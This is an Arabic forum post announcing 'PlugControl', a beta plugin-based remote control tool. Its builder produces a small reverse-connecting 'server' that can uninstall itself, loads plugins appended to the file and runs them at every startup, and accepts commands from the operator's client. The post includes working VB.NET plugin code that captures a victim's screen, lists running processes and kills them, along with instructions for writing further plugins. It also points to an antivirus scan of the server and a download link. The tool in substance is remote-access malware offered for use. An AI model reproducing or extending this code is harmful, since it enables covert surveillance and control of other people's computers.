beta, الأول, الإصدار, plugcontrol

بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
PlugControl - Beta version
برنامج تحكم عن بعد بفكرة جديدة , بيحث يعتمد البرنامج على البلوقنات إعتماد تام
" البلوقنات المبرمجة على شكل Class Library .Net "
تابع لتعرف أكثر :

اولا واجهة البرنامج :

واجهة الـ Builder

واجهة إستقبال المرجعات من السيرفر لأي بلوقن

ماهي الفكرة ؟
الفكرة الأساسية للبرنامج هي الإتصال العكسي البسيط
كاي برنامج تحكم آخر , لكن الخصائص اللتي يحملها السيرفر هي
إعادة الاتصال او قطعه او حذف التثبيت للملف وإغلاقه
اما الخاصية الأساسية وهي إستقبال Plugin
وتنفيذ امر محدد فيه او حذف بلوقن
كما رأيت في صورة الواجهة عندما حددت أحد السيرفرس اللتي تتصل بالكلاينت لدي
وهو انا .gif)
ظهرت البلوقنات اللتي قمت بإرسالها للجهاز عن طريق الأمر Send Plugin
والموجود هو مثال لبلوقن بسيط
عندما قمت بتحديده ظهرت لي الأوامر الموجودة في البلوقن بالاسفل
نلاحظ في الصورة الاخيرة عندما قمت بتنفيذ الأمر Capture
الأمر لايأخد مني أي قيمة فتركتها فارغة ثم أعاد لي بايتات الصورة
يمكنني عمل Save to file لأحصل على الصورة
او لو كان أمر اخر يرجع لي معلومات عن الجهاز على سبيل المثال يمكنني عمل
Bytes to string لأرى المعلومات على شكل String
كود البلوقن السابق للتوضيح :
كود:
Imports System.Drawing
Imports System.Windows.Forms
Public Class PluginExample
Public Function Capture(x As String) As Byte()
Dim bounds As System.Drawing.Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
bounds = Screen.PrimaryScreen.Bounds
screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
Dim ms As New System.IO.MemoryStream
screenshot.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg)
Dim buff() As Byte = ms.GetBuffer()
screenshot.Dispose()
ms.Close()
Return buff
End Function
Public Function GetProcesses(x As String) As Byte()
Dim data As String
Dim processes() As Process = Process.GetProcesses()
For Each Prc As Process In processes
data = data & "(" & Prc.Id.ToString() & ") " & Prc.ProcessName.ToString() & vbNewLine
Next
Return System.Text.Encoding.UTF8.GetBytes(data)
End Function
Public Function KillProcessByid(x As String) As Byte()
Try
Dim id As Integer = Integer.Parse(x)
Dim prc As Process = Process.GetProcessById(id)
prc.Kill()
Catch ex As Exception
Return System.Text.Encoding.UTF8.GetBytes("ERROR : " & ex.Message)
End Try
Return System.Text.Encoding.UTF8.GetBytes("DONE")
End Function
End Class

كيف نبرمج الإضافة إذن ( Plugin )
نلاحظ من كود البلوقن السابق
أنه لبرمجة بلوقن يجب ان يكون إسم البلوقن هو نفس إسم الكلاس اللذي يحتوي فنكنشات البلوقن
يجب أن يكون البلوقن من نوع .Net Class Library
يتم برمجته بالـ c# - vb.net
على سبيل المثال أردت عمل بلوقن بإسم MyPlugin
إذن نختار اللغة المطلوبة ثم يجب ان يكون كمكتبة دوت نت

إسم المشروع سيكون MyPlugin
اما الكود فيجب ان يتم تعريف كلاس اللذي سيحتوي الفنكشنات بنفس إسم المشروع
كود:
Public Class MyPlugin
End Class
بهذه الطريقة حصلنا على بلوقن جاهز للإستخدام لكنه خالي من الأوامر
أي فنكشن تريد اضافته يجب ان يكون تعريفه كالتالي
كود:
Public Function FunctionName(x As String) As Byte()
End Function
إذن إسم الأمر سيكون FunctionName
ويجب ان تأخد الفنكشن بارميتر واحد من نوع String
وترجع المطلوب في بايت
كيف أمرر اكثر من بارميتر , إعتمد على السبلت
اي كالتالي
عند التمرير من البرنامج على سبيل المثال فنكشن مسج بوكس
Subject |-| Title
وفي فنكشن البلوقن
كود:
Public Function TheFunction(x As string) As Byte()
Dim Splts() As string = Split(x,"|-|")
MsgBox(Splts(0),MsgBoxStyle.Information,Splts(1))
End Function
اما حول الإرجاع بشكل بايتات فقم بتحويل الـ string لبايتس
كود:
Public Function TheFunction(x As string) As Byte()
Dim Splts() As string = Split(x,"|-|")
MsgBox(Splts(0),MsgBoxStyle.Information,Splts(1))
Return System.Text.Encoding.UTF8.GetBytes("Executing MsgBox Done")
End Function

الـ BeginRun Plugins
وهي نوع اخر من الاضافات غير اللتي نقوم بإرسالها للسيرفر بعد إنشاء الإتصال
هذه الإضافات او البلوقنات واللتي تقوم بإضافتها عند إنشاء السيرفر وتقوم بتحديد احد الفنكشنات الموجودة فيها
لكي ينفذها السيرفر عند تشغيله كل مرة مباشرة قبل حدوث أي إتصال
طريقة برمجتها مثل الطريقة السابقة إلا انه لايوجد داعي لإرجاع أي قيمة ( Return )
ملاحظة : عند اضافة احد بلوقنات الـ BeginRun للسيرفر يتم إضافتها كـ EOF
ممايزيد من حجم السيرفر إلى
حجم السيرفر + حجم البلوقن المضاف
الفكرة من البرنامج هي عدم وجود اي خاصية في السيرفر
وجميع الخصائص خارجية يقوم ببرمجتها المبرمج
ومن الممكن ان يقوم بنشرها للمستخدمين
الكلاينت والسيرفر مبرمجين بلغة الـ VB.NET ويتطلب الـ .Net Framework 2 للعمل
حجم السيرفر : 24.0 KB (24,576 bytes)
فحص السيرفر : ****************Scan
[COLOR="rgb(72, 209, 204)"]
GulfUp[/COLOR]
PlugControl - Beta hgYw]hv hgH,g beta plugcontrol